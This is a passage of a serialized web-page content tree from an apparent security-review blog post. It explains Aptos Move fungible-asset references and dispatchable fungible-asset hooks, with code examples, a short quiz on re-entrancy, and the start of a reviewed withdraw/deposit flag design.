fungible store with that object. While the store could no longer be moved using the owner's ",{"type":25,"tag":115,"props":66303,"children":66305},{"className":66304},[],[66306],{"type":31,"value":8655},{"type":31,"value":66308}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":25,"tag":40,"props":66310,"children":66312},{"id":66311},"references",[66313],{"type":31,"value":66314},"References",{"type":25,"tag":34,"props":66316,"children":66317},{},[66318,66323,66325,66331,66333,66338,66340,66345],{"type":25,"tag":115,"props":66319,"children":66321},{"className":66320},[],[66322],{"type":31,"value":66314},{"type":31,"value":66324}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":25,"tag":115,"props":66326,"children":66328},{"className":66327},[],[66329],{"type":31,"value":66330},"Refs",{"type":31,"value":66332}," are based on the ",{"type":25,"tag":115,"props":66334,"children":66336},{"className":66335},[],[66337],{"type":31,"value":49928},{"type":31,"value":66339}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":25,"tag":115,"props":66341,"children":66343},{"className":66342},[],[66344],{"type":31,"value":49928},{"type":31,"value":66346}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":25,"tag":34,"props":66348,"children":66349},{},[66350,66352,66357,66359,66364,66365,66371,66373,66378,66380,66385],{"type":31,"value":66351},"Let's get back to the ",{"type":25,"tag":115,"props":66353,"children":66355},{"className":66354},[],[66356],{"type":31,"value":63156},{"type":31,"value":66358}," deletion example. Both ",{"type":25,"tag":115,"props":66360,"children":66362},{"className":66361},[],[66363],{"type":31,"value":64441},{"type":31,"value":12493},{"type":25,"tag":115,"props":66366,"children":66368},{"className":66367},[],[66369],{"type":31,"value":66370},"fungible_asset::remove_store",{"type":31,"value":66372}," use the same object-specific ",{"type":25,"tag":115,"props":66374,"children":66376},{"className":66375},[],[66377],{"type":31,"value":64373},{"type":31,"value":66379}," permission. It can be created only during object creation. There is no separate ",{"type":25,"tag":115,"props":66381,"children":66383},{"className":66382},[],[66384],{"type":31,"value":64373},{"type":31,"value":66386}," for fungible assets.",{"type":25,"tag":191,"props":66388,"children":66389},{"className":4487,"code":64323,"language":4486,"meta":7,"style":7},[66390],{"type":25,"tag":115,"props":66391,"children":66392},{"__ignoreMap":7},[66393,66400,66439,66446,66453],{"type":25,"tag":201,"props":66394,"children":66395},{"class":203,"line":204},[66396],{"type":25,"tag":201,"props":66397,"children":66398},{"style":4497},[66399],{"type":31,"value":64335},{"type":25,"tag":201,"props":66401,"children":66402},{"class":203,"line":226},[66403,66407,66411,66415,66419,66423,66427,66431,66435],{"type":25,"tag":201,"props":66404,"children":66405},{"style":246},[66406],{"type":31,"value":62755},{"type":25,"tag":201,"props":66408,"children":66409},{"style":246},[66410],{"type":31,"value":7715},{"type":25,"tag":201,"props":66412,"children":66413},{"style":214},[66414],{"type":31,"value":64351},{"type":25,"tag":201,"props":66416,"children":66417},{"style":220},[66418],{"type":31,"value":298},{"type":25,"tag":201,"props":66420,"children":66421},{"style":246},[66422],{"type":31,"value":64360},{"type":25,"tag":201,"props":66424,"children":66425},{"style":261},[66426],{"type":31,"value":5997},{"type":25,"tag":201,"props":66428,"children":66429},{"style":261},[66430],{"type":31,"value":8650},{"type":25,"tag":201,"props":66432,"children":66433},{"style":4925},[66434],{"type":31,"value":64373},{"type":25,"tag":201,"props":66436,"children":66437},{"style":220},[66438],{"type":31,"value":4666},{"type":25,"tag":201,"props":66440,"children":66441},{"class":203,"line":278},[66442],{"type":25,"tag":201,"props":66443,"children":66444},{"emptyLinePlaceholder":17},[66445],{"type":31,"value":496},{"type":25,"tag":201,"props":66447,"children":66448},{"class":203,"line":311},[66449],{"type":25,"tag":201,"props":66450,"children":66451},{"style":4497},[66452],{"type":31,"value":64392},{"type":25,"tag":201,"props":66454,"children":66455},{"class":203,"line":330},[66456,66460,66464,66468,66472,66476,66480,66484],{"type":25,"tag":201,"props":66457,"children":66458},{"style":246},[66459],{"type":31,"value":62755},{"type":25,"tag":201,"props":66461,"children":66462},{"style":246},[66463],{"type":31,"value":7715},{"type":25,"tag":201,"props":66465,"children":66466},{"style":214},[66467],{"type":31,"value":64408},{"type":25,"tag":201,"props":66469,"children":66470},{"style":220},[66471],{"type":31,"value":298},{"type":25,"tag":201,"props":66473,"children":66474},{"style":208},[66475],{"type":31,"value":64417},{"type":25,"tag":201,"props":66477,"children":66478},{"style":261},[66479],{"type":31,"value":5997},{"type":25,"tag":201,"props":66481,"children":66482},{"style":4925},[66483],{"type":31,"value":64426},{"type":25,"tag":201,"props":66485,"children":66486},{"style":220},[66487],{"type":31,"value":4666},{"type":25,"tag":34,"props":66489,"children":66490},{},[66491,66493,66498,66500,66506],{"type":31,"value":66492},"On the other hand, the \"frozen\" status of a ",{"type":25,"tag":115,"props":66494,"children":66496},{"className":66495},[],[66497],{"type":31,"value":63156},{"type":31,"value":66499}," is toggled using a ",{"type":25,"tag":115,"props":66501,"children":66503},{"className":66502},[],[66504],{"type":31,"value":66505},"TransferRef",{"type":31,"value":66507},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":25,"tag":191,"props":66509,"children":66511},{"className":4487,"code":66510,"language":4486,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[66512],{"type":25,"tag":115,"props":66513,"children":66514},{"__ignoreMap":7},[66515,66551,66575,66602,66621],{"type":25,"tag":201,"props":66516,"children":66517},{"class":203,"line":204},[66518,66522,66526,66531,66535,66539,66543,66547],{"type":25,"tag":201,"props":66519,"children":66520},{"style":246},[66521],{"type":31,"value":62755},{"type":25,"tag":201,"props":66523,"children":66524},{"style":246},[66525],{"type":31,"value":7715},{"type":25,"tag":201,"props":66527,"children":66528},{"style":246},[66529],{"type":31,"value":66530}," set_frozen_flag",{"type":25,"tag":201,"props":66532,"children":66533},{"style":220},[66534],{"type":31,"value":1298},{"type":25,"tag":201,"props":66536,"children":66537},{"style":4925},[66538],{"type":31,"value":7496},{"type":25,"tag":201,"props":66540,"children":66541},{"style":261},[66542],{"type":31,"value":5997},{"type":25,"tag":201,"props":66544,"children":66545},{"style":246},[66546],{"type":31,"value":7440},{"type":25,"tag":201,"props":66548,"children":66549},{"style":220},[66550],{"type":31,"value":8097},{"type":25,"tag":201,"props":66552,"children":66553},{"class":203,"line":226},[66554,66559,66563,66567,66571],{"type":25,"tag":201,"props":66555,"children":66556},{"style":208},[66557],{"type":31,"value":66558},"    ref",{"type":25,"tag":201,"props":66560,"children":66561},{"style":261},[66562],{"type":31,"value":5997},{"type":25,"tag":201,"props":66564,"children":66565},{"style":261},[66566],{"type":31,"value":8650},{"type":25,"tag":201,"props":66568,"children":66569},{"style":4925},[66570],{"type":31,"value":66505},{"type":25,"tag":201,"props":66572,"children":66573},{"style":220},[66574],{"type":31,"value":547},{"type":25,"tag":201,"props":66576,"children":66577},{"class":203,"line":278},[66578,66582,66586,66590,66594,66598],{"type":25,"tag":201,"props":66579,"children":66580},{"style":246},[66581],{"type":31,"value":30897},{"type":25,"tag":201,"props":66583,"children":66584},{"style":261},[66585],{"type":31,"value":5997},{"type":25,"tag":201,"props":66587,"children":66588},{"style":4925},[66589],{"type":31,"value":62641},{"type":25,"tag":201,"props":66591,"children":66592},{"style":220},[66593],{"type":31,"value":1298},{"type":25,"tag":201,"props":66595,"children":66596},{"style":4925},[66597],{"type":31,"value":7496},{"type":25,"tag":201,"props":66599,"children":66600},{"style":220},[66601],{"type":31,"value":7646},{"type":25,"tag":201,"props":66603,"children":66604},{"class":203,"line":311},[66605,66609,66613,66617],{"type":25,"tag":201,"props":66606,"children":66607},{"style":246},[66608],{"type":31,"value":62293},{"type":25,"tag":201,"props":66610,"children":66611},{"style":261},[66612],{"type":31,"value":5997},{"type":25,"tag":201,"props":66614,"children":66615},{"style":4925},[66616],{"type":31,"value":13552},{"type":25,"tag":201,"props":66618,"children":66619},{"style":220},[66620],{"type":31,"value":547},{"type":25,"tag":201,"props":66622,"children":66623},{"class":203,"line":330},[66624],{"type":25,"tag":201,"props":66625,"children":66626},{"style":220},[66627],{"type":31,"value":4666},{"type":25,"tag":34,"props":66629,"children":66630},{},[66631,66632,66637,66638,66643],{"type":31,"value":18109},{"type":25,"tag":115,"props":66633,"children":66635},{"className":66634},[],[66636],{"type":31,"value":49928},{"type":31,"value":7966},{"type":25,"tag":115,"props":66639,"children":66641},{"className":66640},[],[66642],{"type":31,"value":66505},{"type":31,"value":66644}," is used to transfer object ownership:",{"type":25,"tag":191,"props":66646,"children":66648},{"className":4487,"code":66647,"language":4486,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[66649],{"type":25,"tag":115,"props":66650,"children":66651},{"__ignoreMap":7},[66652,66660,66693,66712],{"type":25,"tag":201,"props":66653,"children":66654},{"class":203,"line":204},[66655],{"type":25,"tag":201,"props":66656,"children":66657},{"style":4497},[66658],{"type":31,"value":66659},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":25,"tag":201,"props":66661,"children":66662},{"class":203,"line":226},[66663,66667,66672,66676,66681,66685,66689],{"type":25,"tag":201,"props":66664,"children":66665},{"style":208},[66666],{"type":31,"value":10905},{"type":25,"tag":201,"props":66668,"children":66669},{"style":4925},[66670],{"type":31,"value":66671}," TransferRef",{"type":25,"tag":201,"props":66673,"children":66674},{"style":246},[66675],{"type":31,"value":10914},{"type":25,"tag":201,"props":66677,"children":66678},{"style":246},[66679],{"type":31,"value":66680}," drop",{"type":25,"tag":201,"props":66682,"children":66683},{"style":220},[66684],{"type":31,"value":919},{"type":25,"tag":201,"props":66686,"children":66687},{"style":246},[66688],{"type":31,"value":7449},{"type":25,"tag":201,"props":66690,"children":66691},{"style":220},[66692],{"type":31,"value":327},{"type":25,"tag":201,"props":66694,"children":66695},{"class":203,"line":278},[66696,66700,66704,66708],{"type":25,"tag":201,"props":66697,"children":66698},{"style":208},[66699],{"type":31,"value":22281},{"type":25,"tag":201,"props":66701,"children":66702},{"style":261},[66703],{"type":31,"value":5997},{"type":25,"tag":201,"props":66705,"children":66706},{"style":246},[66707],{"type":31,"value":7758},{"type":25,"tag":201,"props":66709,"children":66710},{"style":220},[66711],{"type":31,"value":547},{"type":25,"tag":201,"props":66713,"children":66714},{"class":203,"line":311},[66715],{"type":25,"tag":201,"props":66716,"children":66717},{"style":220},[66718],{"type":31,"value":1187},{"type":25,"tag":34,"props":66720,"children":66721},{},[66722,66724,66729],{"type":31,"value":66723},"While the fungible asset's ",{"type":25,"tag":115,"props":66725,"children":66727},{"className":66726},[],[66728],{"type":31,"value":66505},{"type":31,"value":66730}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":25,"tag":191,"props":66732,"children":66734},{"className":4487,"code":66733,"language":4486,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[66735],{"type":25,"tag":115,"props":66736,"children":66737},{"__ignoreMap":7},[66738,66746,66754,66785,66812],{"type":25,"tag":201,"props":66739,"children":66740},{"class":203,"line":204},[66741],{"type":25,"tag":201,"props":66742,"children":66743},{"style":4497},[66744],{"type":31,"value":66745},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":25,"tag":201,"props":66747,"children":66748},{"class":203,"line":226},[66749],{"type":25,"tag":201,"props":66750,"children":66751},{"style":4497},[66752],{"type":31,"value":66753},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":25,"tag":201,"props":66755,"children":66756},{"class":203,"line":278},[66757,66761,66765,66769,66773,66777,66781],{"type":25,"tag":201,"props":66758,"children":66759},{"style":208},[66760],{"type":31,"value":10905},{"type":25,"tag":201,"props":66762,"children":66763},{"style":4925},[66764],{"type":31,"value":66671},{"type":25,"tag":201,"props":66766,"children":66767},{"style":246},[66768],{"type":31,"value":10914},{"type":25,"tag":201,"props":66770,"children":66771},{"style":246},[66772],{"type":31,"value":66680},{"type":25,"tag":201,"props":66774,"children":66775},{"style":220},[66776],{"type":31,"value":919},{"type":25,"tag":201,"props":66778,"children":66779},{"style":246},[66780],{"type":31,"value":7449},{"type":25,"tag":201,"props":66782,"children":66783},{"style":220},[66784],{"type":31,"value":327},{"type":25,"tag":201,"props":66786,"children":66787},{"class":203,"line":311},[66788,66792,66796,66800,66804,66808],{"type":25,"tag":201,"props":66789,"children":66790},{"style":246},[66791],{"type":31,"value":62632},{"type":25,"tag":201,"props":66793,"children":66794},{"style":261},[66795],{"type":31,"value":5997},{"type":25,"tag":201,"props":66797,"children":66798},{"style":4925},[66799],{"type":31,"value":62641},{"type":25,"tag":201,"props":66801,"children":66802},{"style":220},[66803],{"type":31,"value":1298},{"type":25,"tag":201,"props":66805,"children":66806},{"style":4925},[66807],{"type":31,"value":62650},{"type":25,"tag":201,"props":66809,"children":66810},{"style":220},[66811],{"type":31,"value":1308},{"type":25,"tag":201,"props":66813,"children":66814},{"class":203,"line":330},[66815],{"type":25,"tag":201,"props":66816,"children":66817},{"style":220},[66818],{"type":31,"value":1187},{"type":25,"tag":34,"props":66820,"children":66821},{},[66822,66824,66830,66832,66838],{"type":31,"value":66823},"Additionally, there are fungible asset-specific references such as ",{"type":25,"tag":115,"props":66825,"children":66827},{"className":66826},[],[66828],{"type":31,"value":66829},"MintRef",{"type":31,"value":66831}," for minting and ",{"type":25,"tag":115,"props":66833,"children":66835},{"className":66834},[],[66836],{"type":31,"value":66837},"BurnRef",{"type":31,"value":66839}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":25,"tag":26,"props":66841,"children":66843},{"id":66842},"dispatchable-fungible-assets",[66844],{"type":31,"value":66845},"Dispatchable fungible assets",{"type":25,"tag":34,"props":66847,"children":66848},{},[66849],{"type":31,"value":66850},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":25,"tag":34,"props":66852,"children":66853},{},[66854],{"type":31,"value":66855},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":25,"tag":66857,"props":66858,"children":66859},"warning",{},[66860],{"type":25,"tag":34,"props":66861,"children":66862},{},[66863,66865,66871],{"type":31,"value":66864},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":25,"tag":115,"props":66866,"children":66868},{"className":66867},[],[66869],{"type":31,"value":66870},"transfer_assert_minimum_deposit",{"type":31,"value":66872}," that can help mitigate such risks.",{"type":25,"tag":34,"props":66874,"children":66875},{},[66876,66878,66883,66885,66892],{"type":31,"value":66877},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":25,"tag":115,"props":66879,"children":66881},{"className":66880},[],[66882],{"type":31,"value":62755},{"type":31,"value":66884}," to ensure ",{"type":25,"tag":71,"props":66886,"children":66889},{"href":66887,"rel":66888},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[75],[66890],{"type":31,"value":66891},"their signature remains immutable",{"type":31,"value":66893},". An example implementation might look like this:",{"type":25,"tag":191,"props":66895,"children":66897},{"className":4487,"code":66896,"language":4486,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[66898],{"type":25,"tag":115,"props":66899,"children":66900},{"__ignoreMap":7},[66901,66937,66964,66983,67007,67026,67034,67080,67087,67094,67130,67157,67177,67200,67207,67214,67258],{"type":25,"tag":201,"props":66902,"children":66903},{"class":203,"line":204},[66904,66908,66912,66917,66921,66925,66929,66933],{"type":25,"tag":201,"props":66905,"children":66906},{"style":246},[66907],{"type":31,"value":62755},{"type":25,"tag":201,"props":66909,"children":66910},{"style":246},[66911],{"type":31,"value":7715},{"type":25,"tag":201,"props":66913,"children":66914},{"style":246},[66915],{"type":31,"value":66916}," withdraw_hook",{"type":25,"tag":201,"props":66918,"children":66919},{"style":220},[66920],{"type":31,"value":1298},{"type":25,"tag":201,"props":66922,"children":66923},{"style":4925},[66924],{"type":31,"value":7496},{"type":25,"tag":201,"props":66926,"children":66927},{"style":261},[66928],{"type":31,"value":5997},{"type":25,"tag":201,"props":66930,"children":66931},{"style":246},[66932],{"type":31,"value":7440},{"type":25,"tag":201,"props":66934,"children":66935},{"style":220},[66936],{"type":31,"value":8097},{"type":25,"tag":201,"props":66938,"children":66939},{"class":203,"line":226},[66940,66944,66948,66952,66956,66960],{"type":25,"tag":201,"props":66941,"children":66942},{"style":246},[66943],{"type":31,"value":30897},{"type":25,"tag":201,"props":66945,"children":66946},{"style":261},[66947],{"type":31,"value":5997},{"type":25,"tag":201,"props":66949,"children":66950},{"style":4925},[66951],{"type":31,"value":62641},{"type":25,"tag":201,"props":66953,"children":66954},{"style":220},[66955],{"type":31,"value":1298},{"type":25,"tag":201,"props":66957,"children":66958},{"style":4925},[66959],{"type":31,"value":7496},{"type":25,"tag":201,"props":66961,"children":66962},{"style":220},[66963],{"type":31,"value":7646},{"type":25,"tag":201,"props":66965,"children":66966},{"class":203,"line":278},[66967,66971,66975,66979],{"type":25,"tag":201,"props":66968,"children":66969},{"style":246},[66970],{"type":31,"value":62662},{"type":25,"tag":201,"props":66972,"children":66973},{"style":261},[66974],{"type":31,"value":5997},{"type":25,"tag":201,"props":66976,"children":66977},{"style":4925},[66978],{"type":31,"value":7369},{"type":25,"tag":201,"props":66980,"children":66981},{"style":220},[66982],{"type":31,"value":547},{"type":25,"tag":201,"props":66984,"children":66985},{"class":203,"line":311},[66986,66991,66995,66999,67003],{"type":25,"tag":201,"props":66987,"children":66988},{"style":246},[66989],{"type":31,"value":66990},"    transfer_ref",{"type":25,"tag":201,"props":66992,"children":66993},{"style":261},[66994],{"type":31,"value":5997},{"type":25,"tag":201,"props":66996,"children":66997},{"style":261},[66998],{"type":31,"value":8650},{"type":25,"tag":201,"props":67000,"children":67001},{"style":4925},[67002],{"type":31,"value":66505},{"type":25,"tag":201,"props":67004,"children":67005},{"style":220},[67006],{"type":31,"value":547},{"type":25,"tag":201,"props":67008,"children":67009},{"class":203,"line":330},[67010,67014,67018,67022],{"type":25,"tag":201,"props":67011,"children":67012},{"style":220},[67013],{"type":31,"value":3073},{"type":25,"tag":201,"props":67015,"children":67016},{"style":261},[67017],{"type":31,"value":5997},{"type":25,"tag":201,"props":67019,"children":67020},{"style":4925},[67021],{"type":31,"value":62620},{"type":25,"tag":201,"props":67023,"children":67024},{"style":220},[67025],{"type":31,"value":327},{"type":25,"tag":201,"props":67027,"children":67028},{"class":203,"line":397},[67029],{"type":25,"tag":201,"props":67030,"children":67031},{"style":4497},[67032],{"type":31,"value":67033},"    //check paused, gather fees etc.\n",{"type":25,"tag":201,"props":67035,"children":67036},{"class":203,"line":437},[67037,67042,67046,67051,67055,67060,67064,67068,67072,67076],{"type":25,"tag":201,"props":67038,"children":67039},{"style":220},[67040],{"type":31,"value":67041},"    fungible_asset",{"type":25,"tag":201,"props":67043,"children":67044},{"style":261},[67045],{"type":31,"value":4988},{"type":25,"tag":201,"props":67047,"children":67048},{"style":214},[67049],{"type":31,"value":67050},"withdraw_with_ref",{"type":25,"tag":201,"props":67052,"children":67053},{"style":220},[67054],{"type":31,"value":298},{"type":25,"tag":201,"props":67056,"children":67057},{"style":246},[67058],{"type":31,"value":67059},"transfer_ref",{"type":25,"tag":201,"props":67061,"children":67062},{"style":220},[67063],{"type":31,"value":919},{"type":25,"tag":201,"props":67065,"children":67066},{"style":246},[67067],{"type":31,"value":7449},{"type":25,"tag":201,"props":67069,"children":67070},{"style":220},[67071],{"type":31,"value":919},{"type":25,"tag":201,"props":67073,"children":67074},{"style":246},[67075],{"type":31,"value":21803},{"type":25,"tag":201,"props":67077,"children":67078},{"style":220},[67079],{"type":31,"value":4666},{"type":25,"tag":201,"props":67081,"children":67082},{"class":203,"line":464},[67083],{"type":25,"tag":201,"props":67084,"children":67085},{"style":220},[67086],{"type":31,"value":1187},{"type":25,"tag":201,"props":67088,"children":67089},{"class":203,"line":490},[67090],{"type":25,"tag":201,"props":67091,"children":67092},{"emptyLinePlaceholder":17},[67093],{"type":31,"value":496},{"type":25,"tag":201,"props":67095,"children":67096},{"class":203,"line":499},[67097,67101,67105,67110,67114,67118,67122,67126],{"type":25,"tag":201,"props":67098,"children":67099},{"style":246},[67100],{"type":31,"value":62755},{"type":25,"tag":201,"props":67102,"children":67103},{"style":246},[67104],{"type":31,"value":7715},{"type":25,"tag":201,"props":67106,"children":67107},{"style":246},[67108],{"type":31,"value":67109}," deposit_hook",{"type":25,"tag":201,"props":67111,"children":67112},{"style":220},[67113],{"type":31,"value":1298},{"type":25,"tag":201,"props":67115,"children":67116},{"style":4925},[67117],{"type":31,"value":7496},{"type":25,"tag":201,"props":67119,"children":67120},{"style":261},[67121],{"type":31,"value":5997},{"type":25,"tag":201,"props":67123,"children":67124},{"style":246},[67125],{"type":31,"value":7440},{"type":25,"tag":201,"props":67127,"children":67128},{"style":220},[67129],{"type":31,"value":8097},{"type":25,"tag":201,"props":67131,"children":67132},{"class":203,"line":522},[67133,67137,67141,67145,67149,67153],{"type":25,"tag":201,"props":67134,"children":67135},{"style":246},[67136],{"type":31,"value":30897},{"type":25,"tag":201,"props":67138,"children":67139},{"style":261},[67140],{"type":31,"value":5997},{"type":25,"tag":201,"props":67142,"children":67143},{"style":4925},[67144],{"type":31,"value":62641},{"type":25,"tag":201,"props":67146,"children":67147},{"style":220},[67148],{"type":31,"value":1298},{"type":25,"tag":201,"props":67150,"children":67151},{"style":4925},[67152],{"type":31,"value":7496},{"type":25,"tag":201,"props":67154,"children":67155},{"style":220},[67156],{"type":31,"value":7646},{"type":25,"tag":201,"props":67158,"children":67159},{"class":203,"line":531},[67160,67165,67169,67173],{"type":25,"tag":201,"props":67161,"children":67162},{"style":246},[67163],{"type":31,"value":67164},"    fa",{"type":25,"tag":201,"props":67166,"children":67167},{"style":261},[67168],{"type":31,"value":5997},{"type":25,"tag":201,"props":67170,"children":67171},{"style":4925},[67172],{"type":31,"value":62620},{"type":25,"tag":201,"props":67174,"children":67175},{"style":220},[67176],{"type":31,"value":547},{"type":25,"tag":201,"props":67178,"children":67179},{"class":203,"line":550},[67180,67184,67188,67192,67196],{"type":25,"tag":201,"props":67181,"children":67182},{"style":246},[67183],{"type":31,"value":66990},{"type":25,"tag":201,"props":67185,"children":67186},{"style":261},[67187],{"type":31,"value":5997},{"type":25,"tag":201,"props":67189,"children":67190},{"style":261},[67191],{"type":31,"value":8650},{"type":25,"tag":201,"props":67193,"children":67194},{"style":4925},[67195],{"type":31,"value":66505},{"type":25,"tag":201,"props":67197,"children":67198},{"style":220},[67199],{"type":31,"value":547},{"type":25,"tag":201,"props":67201,"children":67202},{"class":203,"line":563},[67203],{"type":25,"tag":201,"props":67204,"children":67205},{"style":220},[67206],{"type":31,"value":275},{"type":25,"tag":201,"props":67208,"children":67209},{"class":203,"line":572},[67210],{"type":25,"tag":201,"props":67211,"children":67212},{"style":4497},[67213],{"type":31,"value":67033},{"type":25,"tag":201,"props":67215,"children":67216},{"class":203,"line":590},[67217,67221,67225,67230,67234,67238,67242,67246,67250,67254],{"type":25,"tag":201,"props":67218,"children":67219},{"style":220},[67220],{"type":31,"value":67041},{"type":25,"tag":201,"props":67222,"children":67223},{"style":261},[67224],{"type":31,"value":4988},{"type":25,"tag":201,"props":67226,"children":67227},{"style":214},[67228],{"type":31,"value":67229},"deposit_with_ref",{"type":25,"tag":201,"props":67231,"children":67232},{"style":220},[67233],{"type":31,"value":298},{"type":25,"tag":201,"props":67235,"children":67236},{"style":246},[67237],{"type":31,"value":67059},{"type":25,"tag":201,"props":67239,"children":67240},{"style":220},[67241],{"type":31,"value":919},{"type":25,"tag":201,"props":67243,"children":67244},{"style":246},[67245],{"type":31,"value":7449},{"type":25,"tag":201,"props":67247,"children":67248},{"style":220},[67249],{"type":31,"value":919},{"type":25,"tag":201,"props":67251,"children":67252},{"style":246},[67253],{"type":31,"value":62813},{"type":25,"tag":201,"props":67255,"children":67256},{"style":220},[67257],{"type":31,"value":308},{"type":25,"tag":201,"props":67259,"children":67260},{"class":203,"line":608},[67261],{"type":25,"tag":201,"props":67262,"children":67263},{"style":220},[67264],{"type":31,"value":1187},{"type":25,"tag":67266,"props":67267,"children":67268},"question",{},[67269,67296],{"type":25,"tag":34,"props":67270,"children":67271},{},[67272,67274,67280,67282,67288,67289,67295],{"type":31,"value":67273},"Why hook functions rely on ",{"type":25,"tag":115,"props":67275,"children":67277},{"className":67276},[],[67278],{"type":31,"value":67279},"*_with_ref",{"type":31,"value":67281}," calls? What would happen if the hook function called ",{"type":25,"tag":115,"props":67283,"children":67285},{"className":67284},[],[67286],{"type":31,"value":67287},"dispatchable_fungible_asset::withdraw",{"type":31,"value":18290},{"type":25,"tag":115,"props":67290,"children":67292},{"className":67291},[],[67293],{"type":31,"value":67294},"fungible_asset::withdraw_with_ref",{"type":31,"value":4661},{"type":25,"tag":67297,"props":67298,"children":67299},"template",{"v-slot:answer-0":7},[67300,67312],{"type":25,"tag":34,"props":67301,"children":67302},{},[67303,67305,67310],{"type":31,"value":67304},"A1: Hook functions rely on ",{"type":25,"tag":115,"props":67306,"children":67308},{"className":67307},[],[67309],{"type":31,"value":67279},{"type":31,"value":67311}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":25,"tag":34,"props":67313,"children":67314},{},[67315,67317,67322],{"type":31,"value":67316},"A2: A ",{"type":25,"tag":115,"props":67318,"children":67320},{"className":67319},[],[67321],{"type":31,"value":67287},{"type":31,"value":67323}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":25,"tag":34,"props":67325,"children":67326},{},[67327],{"type":31,"value":67328},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":25,"tag":191,"props":67330,"children":67332},{"className":4487,"code":67331,"language":4486,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[67333],{"type":25,"tag":115,"props":67334,"children":67335},{"__ignoreMap":7},[67336,67431,67451,67466,67486,67529,67544,67551,67558,67677,67696,67711,67730,67773],{"type":25,"tag":201,"props":67337,"children":67338},{"class":203,"line":204},[67339,67343,67347,67351,67355,67359,67363,67367,67371,67375,67379,67383,67387,67391,67395,67399,67403,67407,67411,67415,67419,67423,67427],{"type":25,"tag":201,"props":67340,"children":67341},{"style":246},[67342],{"type":31,"value":62755},{"type":25,"tag":201,"props":67344,"children":67345},{"style":246},[67346],{"type":31,"value":7715},{"type":25,"tag":201,"props":67348,"children":67349},{"style":246},[67350],{"type":31,"value":62764},{"type":25,"tag":201,"props":67352,"children":67353},{"style":220},[67354],{"type":31,"value":1298},{"type":25,"tag":201,"props":67356,"children":67357},{"style":4925},[67358],{"type":31,"value":7496},{"type":25,"tag":201,"props":67360,"children":67361},{"style":261},[67362],{"type":31,"value":5997},{"type":25,"tag":201,"props":67364,"children":67365},{"style":246},[67366],{"type":31,"value":7440},{"type":25,"tag":201,"props":67368,"children":67369},{"style":220},[67370],{"type":31,"value":9120},{"type":25,"tag":201,"props":67372,"children":67373},{"style":246},[67374],{"type":31,"value":7449},{"type":25,"tag":201,"props":67376,"children":67377},{"style":261},[67378],{"type":31,"value":5997},{"type":25,"tag":201,"props":67380,"children":67381},{"style":4925},[67382],{"type":31,"value":62641},{"type":25,"tag":201,"props":67384,"children":67385},{"style":220},[67386],{"type":31,"value":1298},{"type":25,"tag":201,"props":67388,"children":67389},{"style":4925},[67390],{"type":31,"value":7496},{"type":25,"tag":201,"props":67392,"children":67393},{"style":220},[67394],{"type":31,"value":8139},{"type":25,"tag":201,"props":67396,"children":67397},{"style":246},[67398],{"type":31,"value":62813},{"type":25,"tag":201,"props":67400,"children":67401},{"style":261},[67402],{"type":31,"value":5997},{"type":25,"tag":201,"props":67404,"children":67405},{"style":4925},[67406],{"type":31,"value":62620},{"type":25,"tag":201,"props":67408,"children":67409},{"style":220},[67410],{"type":31,"value":919},{"type":25,"tag":201,"props":67412,"children":67413},{"style":246},[67414],{"type":31,"value":67059},{"type":25,"tag":201,"props":67416,"children":67417},{"style":261},[67418],{"type":31,"value":5997},{"type":25,"tag":201,"props":67420,"children":67421},{"style":261},[67422],{"type":31,"value":8650},{"type":25,"tag":201,"props":67424,"children":67425},{"style":4925},[67426],{"type":31,"value":66505},{"type":25,"tag":201,"props":67428,"children":67429},{"style":220},[67430],{"type":31,"value":275},{"type":25,"tag":201,"props":67432,"children":67433},{"class":203,